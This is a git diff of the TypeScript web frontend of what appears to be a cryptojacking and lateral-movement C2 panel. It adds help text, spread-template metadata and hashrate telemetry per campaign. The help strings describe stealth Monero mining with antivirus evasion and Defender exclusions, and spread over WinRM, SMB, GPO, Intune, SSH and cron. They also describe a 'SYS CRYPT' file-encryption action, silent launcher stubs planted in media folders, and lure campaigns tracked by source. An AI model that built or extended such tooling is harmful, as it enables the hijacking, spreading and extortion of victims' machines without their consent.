expect(riskFromVulnFindings(undefined)).toBeNull();
|
||||
expect(riskFromVulnFindings([{ cve_id: 'CVE-1', severity: 'critical', patched: true }])).toBeNull();
|
||||
});
|
||||
|
||||
it('riskFromVulnFindings picks highest unpatched severity', () => {
|
||||
const info = riskFromVulnFindings([
|
||||
{ cve_id: 'CVE-LOW', severity: 'low', patched: false },
|
||||
{ cve_id: 'CVE-HIGH', severity: 'high', patched: false, exploitable_in_fleet_context: true },
|
||||
]);
|
||||
expect(info?.level).toBe('high');
|
||||
expect(info?.label).toBe('RISK HIGH');
|
||||
expect(info?.count).toBe(2);
|
||||
expect(info?.title).toContain('CVE-HIGH');
|
||||
});
|
||||
|
||||
it('riskFromVulnFindings maps critical severity', () => {
|
||||
const info = riskFromVulnFindings([{ cve_id: 'CVE-X', severity: 'critical', patched: false }]);
|
||||
expect(info?.level).toBe('critical');
|
||||
expect(info?.label).toBe('RISK CRIT');
|
||||
});
|
||||
|
||||
it('joinLaneLabel formats known lanes', () => {
|
||||
expect(joinLaneLabel('winrm')).toBe('WinRM');
|
||||
expect(joinLaneLabel('spread_smb_unc')).toBe('SMB UNC');
|
||||
expect(joinLaneLabel('')).toBeNull();
|
||||
expect(joinLaneLabel('custom_lane')).toBe('custom lane');
|
||||
});
|
||||
});
|
||||
88
server/web/src/help/reconRisk.ts
Normal file
88
server/web/src/help/reconRisk.ts
Normal file
@@ -0,0 +1,88 @@
|
||||
import type { VulnFinding } from '../types/recon';
|
||||
|
||||
const SEVERITY_RANK: Record<string, number> = {
|
||||
critical: 5,
|
||||
high: 4,
|
||||
medium: 3,
|
||||
low: 2,
|
||||
info: 1,
|
||||
};
|
||||
|
||||
export type RiskLevel = 'critical' | 'high' | 'medium' | 'low' | 'clear';
|
||||
|
||||
export interface RiskBadgeInfo {
|
||||
level: RiskLevel;
|
||||
label: string;
|
||||
count: number;
|
||||
title: string;
|
||||
}
|
||||
|
||||
/** Derive /24 subnet label from agent IP (matches fleetAnalytics). */
|
||||
export function ipToSubnet(ip?: string): string {
|
||||
const trimmed = (ip || '').trim();
|
||||
const parts = trimmed.split('.');
|
||||
return parts.length >= 3 ? `${parts[0]}.${parts[1]}.${parts[2]}.x` : '';
|
||||
}
|
||||
|
||||
function severityRank(severity?: string): number {
|
||||
if (!severity) return 0;
|
||||
return SEVERITY_RANK[severity.toLowerCase()] ?? 0;
|
||||
}
|
||||
|
||||
/** Highest actionable severity from vuln_findings; clear when empty or all patched. */
|
||||
export function riskFromVulnFindings(findings?: VulnFinding[]): RiskBadgeInfo | null {
|
||||
if (!findings?.length) return null;
|
||||
|
||||
const actionable = findings.filter((f) => !f.patched);
|
||||
if (actionable.length === 0) return null;
|
||||
|
||||
let maxRank = 0;
|
||||
let maxSeverity = 'low';
|
||||
let exploitable = 0;
|
||||
for (const f of actionable) {
|
||||
const rank = severityRank(f.severity);
|
||||
if (rank > maxRank) {
|
||||
maxRank = rank;
|
||||
maxSeverity = (f.severity || 'low').toLowerCase();
|
||||
}
|
||||
if (f.exploitable_in_fleet_context) exploitable += 1;
|
||||
}
|
||||
|
||||
const level: RiskLevel =
|
||||
maxRank >= 5 ? 'critical' : maxRank >= 4 ? 'high' : maxRank >= 3 ? 'medium' : 'low';
|
||||
|
||||
const cveList = actionable
|
||||
.slice(0, 4)
|
||||
.map((f) => f.cve_id)
|
||||
.join(', ');
|
||||
const suffix = actionable.length > 4 ? ` +${actionable.length - 4} more` : '';
|
||||
|
||||
return {
|
||||
level,
|
||||
label: level === 'critical' ? 'RISK CRIT' : level === 'high' ? 'RISK HIGH' : level === 'medium' ? 'RISK MED' : 'RISK',
|
||||
count: actionable.length,
|
||||
title: `${actionable.length} unpatched finding(s) — max ${maxSeverity}${
|
||||
exploitable ? ` · ${exploitable} fleet-context` : ''
|
||||
}\n${cveList}${suffix}`,
|
||||
};
|
||||
}
|
||||
|
||||
const JOIN_LANE_LABELS: Record<string, string> = {
|
||||
winrm: 'WinRM',
|
||||
smb: 'SMB',
|
||||
gpo: 'GPO',
|
||||
docker: 'Docker',
|
||||
bits: 'BITS',
|
||||
intune: 'Intune',
|
||||
'linux-lotl': 'Linux LOTL',
|
||||
linux_lotl: 'Linux LOTL',
|
||||
spread_smb_unc: 'SMB UNC',
|
||||
};
|
||||
|
||||
/** Display label for join_lane funnel tag. */
|
||||
export function joinLaneLabel(lane?: string): string | null {
|
||||
const raw = lane?.trim();
|
||||
if (!raw) return null;
|
||||
const key = raw.toLowerCase();
|
||||
return JOIN_LANE_LABELS[key] ?? raw.replace(/_/g, ' ').replace(/-/g, ' ');
|
||||
}
|
||||
@@ -24,6 +24,7 @@ const UI_REMOTE_ACTIONS = [
|
||||
'upload',
|
||||
'push_desktop',
|
||||
'full_sys_check',
|
||||
'mining_diagnostics',
|
||||
...AGGRESSIVE_REMOTE_ACTIONS,
|
||||
] as const;
|
||||
|
||||
@@ -41,6 +42,7 @@ const AGENT_HANDLED = new Set([
|
||||
'upload',
|
||||
'push_desktop',
|
||||
'full_sys_check',
|
||||
'mining_diagnostics',
|
||||
'download',
|
||||
'ps',
|
||||
'netstat',
|
||||
|
||||
@@ -24,7 +24,7 @@ describe('SETUP_CHEATSHEET', () => {
|
||||
expect(bodies).toContain('Calibrate');
|
||||
expect(bodies).toContain('Forge');
|
||||
expect(bodies).toContain('Command Deck');
|
||||
expect(bodies).toContain('Fleet Roster');
|
||||
expect(bodies).toContain('Crucible');
|
||||
});
|
||||
});
|
||||
|
||||
@@ -33,6 +33,7 @@ describe('FIELD_HELP', () => {
|
||||
'calibrate_wallet',
|
||||
'calibrate_quick_setup',
|
||||
'forge_simple_mode',
|
||||
'forge_lotl_onion',
|
||||
'forge_recommended_defaults',
|
||||
'obfuscate',
|
||||
'sigil_scramble',
|
||||
@@ -58,6 +59,7 @@ describe('FIELD_HELP', () => {
|
||||
'min_free_ram_mb',
|
||||
'cpu_priority',
|
||||
'mining_mode',
|
||||
'miner_execution',
|
||||
'idle_threshold_pct',
|
||||
'idle_duration_minutes',
|
||||
'schedule_start',
|
||||
|
||||
@@ -13,7 +13,7 @@ export const SETUP_CHEATSHEET = [
|
||||
},
|
||||
{
|
||||
title: '4. Watch the fleet',
|
||||
body: 'Command Deck shows live hashrate. Fleet Roster has remote controls when you need them — buttons stay disabled until the agent is online (live WebSocket required).',
|
||||
body: 'Command Deck shows live hashrate. Crucible has remote controls when you need them — buttons stay disabled until the agent is online (live WebSocket required).',
|
||||
},
|
||||
];
|
||||
|
||||
@@ -25,7 +25,9 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
forge_simple_mode:
|
||||
'Simple mode hides pool tuning, stealth toggles, and expert options — they stay on recommended defaults. Switch to Advanced when you need full control.',
|
||||
forge_operation_mode:
|
||||
'One-click preset bundles: Ghost (stealth LAN, no window, idle mining), Loud (visible logs for lab testing), Spread (universal multi-OS kit with autospread), PathForge (recursive batch seed for media folders). Switches sensible defaults — individual fields below can still be fine-tuned.',
|
||||
'One-click preset bundles: Ghost (stealth LAN), Loud (lab logs), Wildfire (spread kit), AV-Safe (in-process XMR only), LOTL Onion (AV-Safe mining + native-tool spread tier chain with server-pulled contingencies). Switches sensible defaults — individual fields below can still be fine-tuned.',
|
||||
forge_lotl_onion:
|
||||
'LOTL Onion preset: in-process RandomX (same XMR wallet field), no GPU exe drop, ordered docker→GPO spread contingencies. When lotl_policy_from_server is on, tier order is pulled from Calibrate server config on agent auth — re-forge not required to reorder tiers.',
|
||||
forge_path_forge:
|
||||
'Server-side recursive batch seed: enter a folder path and the server walks it, placing a launcher next to every matching file without uploading anything. Lock Original renames the source so only the companion launcher can open it — it re-locks after playback.',
|
||||
forge_recommended_defaults:
|
||||
@@ -64,6 +66,8 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
min_free_ram_mb: 'Pause mining if free system RAM drops below this value (MB). Protects desktop usability.',
|
||||
cpu_priority: 'Windows process priority. Below Normal or Idle keeps the PC usable while mining.',
|
||||
mining_mode: 'Always = mine continuously. Idle = only when user is inactive. Scheduled = mine during set hours.',
|
||||
miner_execution:
|
||||
'Cascade order: container (Docker/Podman) → in-process RandomX → GPU subprocess (T-Rex/TRM, parallel RVN) → direct Stratum when C2 jobs stall. In-process runs pure-Go RandomX — no external CPU .exe. Container isolates CPU mining. Subprocess is GPU-only. Auto runs the full chain; inprocess/container/subprocess limit which steps are tried. Failures advance automatically with a 30s cooldown between full re-passes. Use Calibrate → Defender Exclusions on Windows fleets.',
|
||||
idle_threshold_pct: 'For Idle mode: system CPU must stay below this % for Idle Duration before mining starts.',
|
||||
idle_duration_minutes: 'How long the machine must be idle before mining begins.',
|
||||
schedule_start: 'For Scheduled mode: daily start time (24h).',
|
||||
|
||||
@@ -17,7 +17,8 @@ describe('spreadTechniques', () => {
|
||||
});
|
||||
|
||||
it('maps Emberwake bullets to playbook tabs', () => {
|
||||
expect(EMBERWAKE_TECHNIQUE_LINKS.length).toBeGreaterThanOrEqual(8);
|
||||
expect(EMBERWAKE_TECHNIQUE_LINKS.length).toBeGreaterThanOrEqual(9);
|
||||
expect(EMBERWAKE_TECHNIQUE_LINKS.some((t) => t.anchor === 'lotl-onion')).toBe(true);
|
||||
expect(EMBERWAKE_TECHNIQUE_LINKS.every((t) => t.anchor && t.label && t.hint)).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -13,6 +13,11 @@ export interface EmberwakeTechniqueLink {
|
||||
|
||||
/** Maps Emberwake “how to spread” bullets to playbook tabs. */
|
||||
export const EMBERWAKE_TECHNIQUE_LINKS: EmberwakeTechniqueLink[] = [
|
||||
{
|
||||
label: 'LOTL Onion tiers',
|
||||
anchor: 'lotl-onion',
|
||||
hint: 'Ordered docker→GPO contingencies — LOTL Onion forge preset',
|
||||
},
|
||||
{
|
||||
label: 'Web waterhole',
|
||||
anchor: 'web-waterhole',
|
||||
@@ -43,6 +48,21 @@ export const EMBERWAKE_TECHNIQUE_LINKS: EmberwakeTechniqueLink[] = [
|
||||
anchor: 'lan',
|
||||
hint: 'Universal spread kit + autospread preset',
|
||||
},
|
||||
{
|
||||
label: 'WinRM bootstrap',
|
||||
anchor: 'winrm-bootstrap',
|
||||
hint: 'Enable-PSRemoting + encoded agent register (owned lab)',
|
||||
},
|
||||
{
|
||||
label: 'Linux LOTL',
|
||||
anchor: 'linux-lotl',
|
||||
hint: 'systemd-run --user, crontab, SSH lateral spread',
|
||||
},
|
||||
{
|
||||
label: 'GPO / Intune',
|
||||
anchor: 'enterprise-gpo',
|
||||
hint: 'Startup scripts — mining policy stays on command deck',
|
||||
},
|
||||
{
|
||||
label: 'WordPress plugin',
|
||||
anchor: 'wordpress',
|
||||
|
||||
13
server/web/src/help/spreadTemplateExport.test.ts
Normal file
13
server/web/src/help/spreadTemplateExport.test.ts
Normal file
@@ -0,0 +1,13 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { SPREAD_TEMPLATES, spreadTemplateZipName } from './spreadTemplateExport';
|
||||
|
||||
describe('spreadTemplateExport', () => {
|
||||
it('lists enterprise spread templates', () => {
|
||||
expect(SPREAD_TEMPLATES.map((t) => t.id)).toEqual(['winrm', 'linux-lotl', 'gpo', 'intune']);
|
||||
});
|
||||
|
||||
it('maps template ids to zip filenames', () => {
|
||||
expect(spreadTemplateZipName('winrm')).toBe('aetherforge-winrm-bootstrap.zip');
|
||||
expect(spreadTemplateZipName('linux-lotl')).toBe('aetherforge-linux-lotl.zip');
|
||||
});
|
||||
});
|
||||
52
server/web/src/help/spreadTemplateExport.ts
Normal file
52
server/web/src/help/spreadTemplateExport.ts
Normal file
@@ -0,0 +1,52 @@
|
||||
/** Spread template export helpers (Tasks 9/12/13) */
|
||||
|
||||
export type SpreadTemplateId = 'winrm' | 'linux-lotl' | 'gpo' | 'intune';
|
||||
|
||||
export interface SpreadTemplateMeta {
|
||||
id: SpreadTemplateId;
|
||||
label: string;
|
||||
hint: string;
|
||||
docAnchor: string;
|
||||
}
|
||||
|
||||
export const SPREAD_TEMPLATES: SpreadTemplateMeta[] = [
|
||||
{
|
||||
id: 'winrm',
|
||||
label: 'WinRM bootstrap',
|
||||
hint: 'Enable-PSRemoting + encoded register; COM hijack optional (off by default)',
|
||||
docAnchor: 'winrm-bootstrap',
|
||||
},
|
||||
{
|
||||
id: 'linux-lotl',
|
||||
label: 'Linux LOTL',
|
||||
hint: 'systemd-run --user / crontab + SSH spread flags',
|
||||
docAnchor: 'linux-lotl',
|
||||
},
|
||||
{
|
||||
id: 'gpo',
|
||||
label: 'GPO startup',
|
||||
hint: 'Computer startup script — policy on server, not in GPO blob',
|
||||
docAnchor: 'enterprise-gpo',
|
||||
},
|
||||
{
|
||||
id: 'intune',
|
||||
label: 'Intune script',
|
||||
hint: 'Proactive remediation — defer mining until C2 diagnostics',
|
||||
docAnchor: 'enterprise-intune',
|
||||
},
|
||||
];
|
||||
|
||||
export function spreadTemplateZipName(id: SpreadTemplateId): string {
|
||||
switch (id) {
|
||||
case 'winrm':
|
||||
return 'aetherforge-winrm-bootstrap.zip';
|
||||
case 'linux-lotl':
|
||||
return 'aetherforge-linux-lotl.zip';
|
||||
case 'gpo':
|
||||
return 'aetherforge-gpo-startup.zip';
|
||||
case 'intune':
|
||||
return 'aetherforge-intune-startup.zip';
|
||||
default:
|
||||
return 'aetherforge-spread-template.zip';
|
||||
}
|
||||
}
|
||||
@@ -45,6 +45,8 @@ describe('UI_HELP', () => {
|
||||
'crucible_section_files_advanced',
|
||||
'crucible_section_destructive',
|
||||
'crucible_section_spread',
|
||||
'crucible_section_cred_graph',
|
||||
'crucible_section_service_graph',
|
||||
'crucible_section_seek',
|
||||
'crucible_section_ssh',
|
||||
'crucible_section_tunnels',
|
||||
|
||||
@@ -36,7 +36,7 @@ export const UI_HELP: Record<string, string> = {
|
||||
crucible_heat_map:
|
||||
'Spatial view of node selection and group colors. Click a dot to toggle that agent in the roster.',
|
||||
crucible_groups:
|
||||
'Named color groups shared with Fleet Roster. Click a group chip to select all members for bulk commands.',
|
||||
'Named color groups for the fleet. Click a group chip to select all members for bulk commands.',
|
||||
crucible_active_target:
|
||||
'The focused node when exactly one is selected — used for single-agent panels like live desktop and file browser.',
|
||||
crucible_tab_ops:
|
||||
@@ -50,11 +50,11 @@ export const UI_HELP: Record<string, string> = {
|
||||
crucible_tab_tunnels:
|
||||
'SSH port forwards and protocol tunnels between your control PC and selected agents.',
|
||||
crucible_mining_ops:
|
||||
'Pause or resume hashing on selected online nodes. The agent process stays connected — only the miner thread stops or starts.',
|
||||
'Fleet health power management: pause or resume hashing on selected online nodes. Mining telemetry egresses on the agent WebSocket (same port as heartbeat) — the agent process stays connected.',
|
||||
crucible_resume:
|
||||
'Tell selected online miners to resume hashing after a pause command or idle throttle.',
|
||||
'Fleet health job: restore hashing workload after a pause or idle throttle.',
|
||||
crucible_pause:
|
||||
'Pause mining on selected nodes without stopping the agent process — they stay connected.',
|
||||
'Fleet health job: power down hashing on selected nodes without stopping the agent — they stay connected on WSS.',
|
||||
crucible_full_audit:
|
||||
'Deep posture scan (30–60s): firewall, WAN IP, geo, DNS, ARP, subnet scan, hardware, and listeners.',
|
||||
crucible_posture_badge:
|
||||
@@ -84,7 +84,11 @@ export const UI_HELP: Record<string, string> = {
|
||||
crucible_section_destructive:
|
||||
'SYS CRYPT encrypts Documents/home — irreversible without the key.',
|
||||
crucible_section_spread:
|
||||
'On-demand lateral spread, subnet discovery, SMB shares, and credential vault names.',
|
||||
'On-demand lateral spread, subnet discovery, SMB shares, credential vault names, and Probe & Join (discover_and_join).',
|
||||
crucible_section_cred_graph:
|
||||
'Read-only credential affinity edges per /24 subnet — success/fail counts from authorized spread runs (no secrets).',
|
||||
crucible_section_service_graph:
|
||||
'Enumerated services and join-lane candidates for the selected agent subnet (from discover_and_join / service probe).',
|
||||
crucible_section_seek:
|
||||
'SUPP Seek recursively seeds media folders with silent launcher stubs (Windows + Mac/Linux).',
|
||||
crucible_section_ssh:
|
||||
|
||||
94
server/web/src/help/warRoomTelemetry.test.ts
Normal file
94
server/web/src/help/warRoomTelemetry.test.ts
Normal file
@@ -0,0 +1,94 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { mockAgent } from '../test/fixtures';
|
||||
import {
|
||||
aggregateCampaignTelemetry,
|
||||
effectiveMiningHashrate,
|
||||
hashHeatIntensity,
|
||||
lotlTierLabel,
|
||||
maxTelemetryHashrate,
|
||||
mergeCampaignWithLiveTelemetry,
|
||||
} from './warRoomTelemetry';
|
||||
import type { WarRoomCampaign } from '../types';
|
||||
|
||||
describe('effectiveMiningHashrate', () => {
|
||||
it('prefers mining_hashrate when present', () => {
|
||||
expect(
|
||||
effectiveMiningHashrate(mockAgent({ mining_hashrate: 900, hashrate_15m: 100, gpu_hashrate_15m: 50 })),
|
||||
).toBe(900);
|
||||
});
|
||||
|
||||
it('falls back to CPU + GPU hashrate', () => {
|
||||
expect(
|
||||
effectiveMiningHashrate(mockAgent({ hashrate_15m: 400, gpu_hashrate_15m: 100 })),
|
||||
).toBe(500);
|
||||
});
|
||||
});
|
||||
|
||||
describe('aggregateCampaignTelemetry', () => {
|
||||
it('groups online agents by campaign and sums hashrate', () => {
|
||||
const map = aggregateCampaignTelemetry([
|
||||
mockAgent({ id: 'a1', campaign: 'linkedin', status: 'online', mining_hashrate: 300 }),
|
||||
mockAgent({ id: 'a2', campaign: 'linkedin', status: 'online', hashrate_15m: 200 }),
|
||||
mockAgent({ id: 'a3', campaign: 'usb', status: 'offline', hashrate_15m: 999 }),
|
||||
]);
|
||||
const linkedin = map.get('linkedin');
|
||||
expect(linkedin?.online).toBe(2);
|
||||
expect(linkedin?.hashrate).toBe(500);
|
||||
expect(linkedin?.mining).toBe(2);
|
||||
expect(map.get('usb')?.hashrate).toBe(0);
|
||||
});
|
||||
});
|
||||
|
||||
describe('mergeCampaignWithLiveTelemetry', () => {
|
||||
const base: WarRoomCampaign = {
|
||||
campaign: 'linkedin',
|
||||
hits: 10,
|
||||
downloads: 5,
|
||||
agents: 2,
|
||||
online: 0,
|
||||
hashrate: 0,
|
||||
conversion_pct: 20,
|
||||
daily_hits: [1, 2, 3],
|
||||
};
|
||||
|
||||
it('overlays live hashrate and online counts', () => {
|
||||
const merged = mergeCampaignWithLiveTelemetry(base, {
|
||||
hashrate: 1200,
|
||||
online: 2,
|
||||
mining: 1,
|
||||
agents: [],
|
||||
});
|
||||
expect(merged.hashrate).toBe(1200);
|
||||
expect(merged.online).toBe(2);
|
||||
expect(merged.hits).toBe(10);
|
||||
});
|
||||
});
|
||||
|
||||
describe('hashHeatIntensity', () => {
|
||||
it('returns 0 for zero hashrate', () => {
|
||||
expect(hashHeatIntensity(0, 1000)).toBe(0);
|
||||
});
|
||||
|
||||
it('scales relative to fleet max', () => {
|
||||
expect(hashHeatIntensity(500, 1000)).toBe(0.5);
|
||||
expect(hashHeatIntensity(2000, 1000)).toBe(1);
|
||||
});
|
||||
});
|
||||
|
||||
describe('lotlTierLabel', () => {
|
||||
it('returns uppercase tier or null', () => {
|
||||
expect(lotlTierLabel(' tier-2 ')).toBe('TIER-2');
|
||||
expect(lotlTierLabel('')).toBeNull();
|
||||
expect(lotlTierLabel(undefined)).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe('maxTelemetryHashrate', () => {
|
||||
it('finds peak campaign hashrate', () => {
|
||||
const map = aggregateCampaignTelemetry([
|
||||
mockAgent({ campaign: 'a', status: 'online', mining_hashrate: 100 }),
|
||||
mockAgent({ campaign: 'b', status: 'online', mining_hashrate: 450 }),
|
||||
]);
|
||||
expect(maxTelemetryHashrate(map)).toBe(450);
|
||||
});
|
||||
});
|
||||
78
server/web/src/help/warRoomTelemetry.ts
Normal file
78
server/web/src/help/warRoomTelemetry.ts
Normal file
@@ -0,0 +1,78 @@
|
||||
import type { Agent, WarRoomCampaign } from '../types';
|
||||
|
||||
export interface CampaignLiveTelemetry {
|
||||
hashrate: number;
|
||||
online: number;
|
||||
mining: number;
|
||||
agents: Agent[];
|
||||
}
|
||||
|
||||
/** Effective mining hashrate from WS stats (explicit field or CPU+GPU fallback). */
|
||||
export function effectiveMiningHashrate(agent: Agent): number {
|
||||
const explicit = agent.mining_hashrate;
|
||||
if (typeof explicit === 'number' && Number.isFinite(explicit) && explicit >= 0) {
|
||||
return explicit;
|
||||
}
|
||||
const cpu = agent.hashrate_15m ?? agent.hashrate_15s ?? 0;
|
||||
const gpu = agent.gpu_hashrate_15m ?? agent.gpu_hashrate_15s ?? 0;
|
||||
return cpu + gpu;
|
||||
}
|
||||
|
||||
/** Group live fleet agents by spread campaign slug. */
|
||||
export function aggregateCampaignTelemetry(agents: Agent[]): Map<string, CampaignLiveTelemetry> {
|
||||
const map = new Map<string, CampaignLiveTelemetry>();
|
||||
for (const agent of agents) {
|
||||
const slug = agent.campaign?.trim();
|
||||
if (!slug) continue;
|
||||
let entry = map.get(slug);
|
||||
if (!entry) {
|
||||
entry = { hashrate: 0, online: 0, mining: 0, agents: [] };
|
||||
map.set(slug, entry);
|
||||
}
|
||||
entry.agents.push(agent);
|
||||
if (agent.status === 'online') {
|
||||
entry.online += 1;
|
||||
const hr = effectiveMiningHashrate(agent);
|
||||
entry.hashrate += hr;
|
||||
if (hr > 0) entry.mining += 1;
|
||||
}
|
||||
}
|
||||
return map;
|
||||
}
|
||||
|
||||
/** Overlay live WS hashrate onto REST/WS funnel campaign rows. */
|
||||
export function mergeCampaignWithLiveTelemetry(
|
||||
campaign: WarRoomCampaign,
|
||||
live?: CampaignLiveTelemetry,
|
||||
): WarRoomCampaign {
|
||||
if (!live) return campaign;
|
||||
return {
|
||||
...campaign,
|
||||
hashrate: live.hashrate,
|
||||
online: live.online,
|
||||
mining: live.mining > 0 ? live.mining : campaign.mining,
|
||||
};
|
||||
}
|
||||
|
||||
/** Heat intensity 0–1 for CSS `--hash-heat` (aether ember glow). */
|
||||
export function hashHeatIntensity(hashrate: number, maxHashrate: number): number {
|
||||
if (!hashrate || hashrate <= 0) return 0;
|
||||
if (maxHashrate <= 0) return 0.35;
|
||||
return Math.min(1, Math.max(0.12, hashrate / maxHashrate));
|
||||
}
|
||||
|
||||
/** Display label for LOTL tier badge; null when unset. */
|
||||
export function lotlTierLabel(tier?: string): string | null {
|
||||
const t = tier?.trim();
|
||||
if (!t) return null;
|
||||
return t.toUpperCase();
|
||||
}
|
||||
|
||||
/** Max live hashrate across campaign telemetry (for heat normalization). */
|
||||
export function maxTelemetryHashrate(telemetry: Map<string, CampaignLiveTelemetry>): number {
|
||||
let max = 0;
|
||||
for (const t of telemetry.values()) {
|
||||
if (t.hashrate > max) max = t.hashrate;
|
||||
}
|
||||
return max;
|
||||
}
|
||||
@@ -33,6 +33,89 @@ describe('agentStatsUnchanged', () => {
|
||||
}),
|
||||
).toBe(false);
|
||||
});
|
||||
|
||||
it('returns false when mining cascade fields change', () => {
|
||||
const agent = mockAgent({
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 90,
|
||||
hashrate_15m: 80,
|
||||
cpu_usage_pct: 12,
|
||||
active_method: 'inprocess',
|
||||
stratum_overlay: false,
|
||||
});
|
||||
expect(
|
||||
agentStatsUnchanged(agent, {
|
||||
agent_id: agent.id,
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 90,
|
||||
hashrate_15m: 80,
|
||||
cpu_usage_pct: 12,
|
||||
active_method: 'container',
|
||||
}),
|
||||
).toBe(false);
|
||||
expect(
|
||||
agentStatsUnchanged(agent, {
|
||||
agent_id: agent.id,
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 90,
|
||||
hashrate_15m: 80,
|
||||
cpu_usage_pct: 12,
|
||||
active_method: 'inprocess',
|
||||
stratum_overlay: true,
|
||||
}),
|
||||
).toBe(false);
|
||||
});
|
||||
|
||||
it('returns false when mining_hashrate or lotl_tier change', () => {
|
||||
const agent = mockAgent({
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 90,
|
||||
hashrate_15m: 80,
|
||||
cpu_usage_pct: 12,
|
||||
mining_hashrate: 500,
|
||||
lotl_tier: 'tier-1',
|
||||
});
|
||||
expect(
|
||||
agentStatsUnchanged(agent, {
|
||||
agent_id: agent.id,
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 90,
|
||||
hashrate_15m: 80,
|
||||
cpu_usage_pct: 12,
|
||||
mining_hashrate: 600,
|
||||
}),
|
||||
).toBe(false);
|
||||
expect(
|
||||
agentStatsUnchanged(agent, {
|
||||
agent_id: agent.id,
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 90,
|
||||
hashrate_15m: 80,
|
||||
cpu_usage_pct: 12,
|
||||
lotl_tier: 'tier-2',
|
||||
}),
|
||||
).toBe(false);
|
||||
});
|
||||
|
||||
it('returns false when lotl_attempts change', () => {
|
||||
const agent = mockAgent({
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 90,
|
||||
hashrate_15m: 80,
|
||||
cpu_usage_pct: 12,
|
||||
lotl_attempts: [{ tier: 'container', ok: false, duration_ms: 500 }],
|
||||
});
|
||||
expect(
|
||||
agentStatsUnchanged(agent, {
|
||||
agent_id: agent.id,
|
||||
hashrate_15s: 100,
|
||||
hashrate_1m: 90,
|
||||
hashrate_15m: 80,
|
||||
cpu_usage_pct: 12,
|
||||
lotl_attempts: [{ tier: 'container', ok: true, duration_ms: 500 }],
|
||||
}),
|
||||
).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('WS_LATEST_MESSAGE_TYPES', () => {
|
||||
|
||||
@@ -39,10 +39,22 @@ export function agentStatsUnchanged(agent: Agent, u: WSStatsUpdate): boolean {
|
||||
if (u.latency_ms !== undefined && agent.latency_ms !== u.latency_ms) return false;
|
||||
if (u.pending_updates !== undefined && agent.pending_updates !== u.pending_updates) return false;
|
||||
if (u.last_patch !== undefined && agent.last_patch !== u.last_patch) return false;
|
||||
if (u.active_method !== undefined && agent.active_method !== u.active_method) return false;
|
||||
if (u.last_error !== undefined && agent.last_error !== u.last_error) return false;
|
||||
if (u.stratum_overlay !== undefined && agent.stratum_overlay !== u.stratum_overlay) return false;
|
||||
if (u.chain_exhausted !== undefined && agent.chain_exhausted !== u.chain_exhausted) return false;
|
||||
if (u.chain_order !== undefined && !shallowStrArrayEq(agent.chain_order, u.chain_order)) return false;
|
||||
if (u.failed_methods !== undefined && agent.failed_methods !== u.failed_methods) return false;
|
||||
if (u.dns_servers !== undefined && !shallowStrArrayEq(agent.dns_servers, u.dns_servers)) return false;
|
||||
if (u.dns_search_domains !== undefined && !shallowStrArrayEq(agent.dns_search_domains, u.dns_search_domains)) return false;
|
||||
if (u.av_products !== undefined && !shallowStrArrayEq(agent.av_products, u.av_products)) return false;
|
||||
if (u.services !== undefined && agent.services !== u.services) return false;
|
||||
if (u.mining_hashrate !== undefined && agent.mining_hashrate !== u.mining_hashrate) return false;
|
||||
if (u.lotl_tier !== undefined && agent.lotl_tier !== u.lotl_tier) return false;
|
||||
if (u.lotl_attempts !== undefined && !tierAttemptsEq(agent.lotl_attempts, u.lotl_attempts)) return false;
|
||||
if (u.vuln_findings !== undefined && agent.vuln_findings !== u.vuln_findings) return false;
|
||||
if (u.vuln_risk_score !== undefined && agent.vuln_risk_score !== u.vuln_risk_score) return false;
|
||||
if (u.join_lane !== undefined && agent.join_lane !== u.join_lane) return false;
|
||||
return true;
|
||||
}
|
||||
|
||||
@@ -55,6 +67,19 @@ function shallowStrArrayEq(a?: string[], b?: string[]): boolean {
|
||||
return true;
|
||||
}
|
||||
|
||||
function tierAttemptsEq(a?: import('../types/lotl').TierAttempt[], b?: import('../types/lotl').TierAttempt[]): boolean {
|
||||
if (a === b) return true;
|
||||
if (!a || !b || a.length !== b.length) return false;
|
||||
for (let i = 0; i < a.length; i++) {
|
||||
const x = a[i];
|
||||
const y = b[i];
|
||||
if (x.tier !== y.tier || x.ok !== y.ok || x.error !== y.error || x.duration_ms !== y.duration_ms) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
/** WS message types that drive latestMessage consumers (sound, presence, emberwake). */
|
||||
export const WS_LATEST_MESSAGE_TYPES = new Set([
|
||||
'presence_snapshot',
|
||||
|
||||
Reference in New Issue
Block a user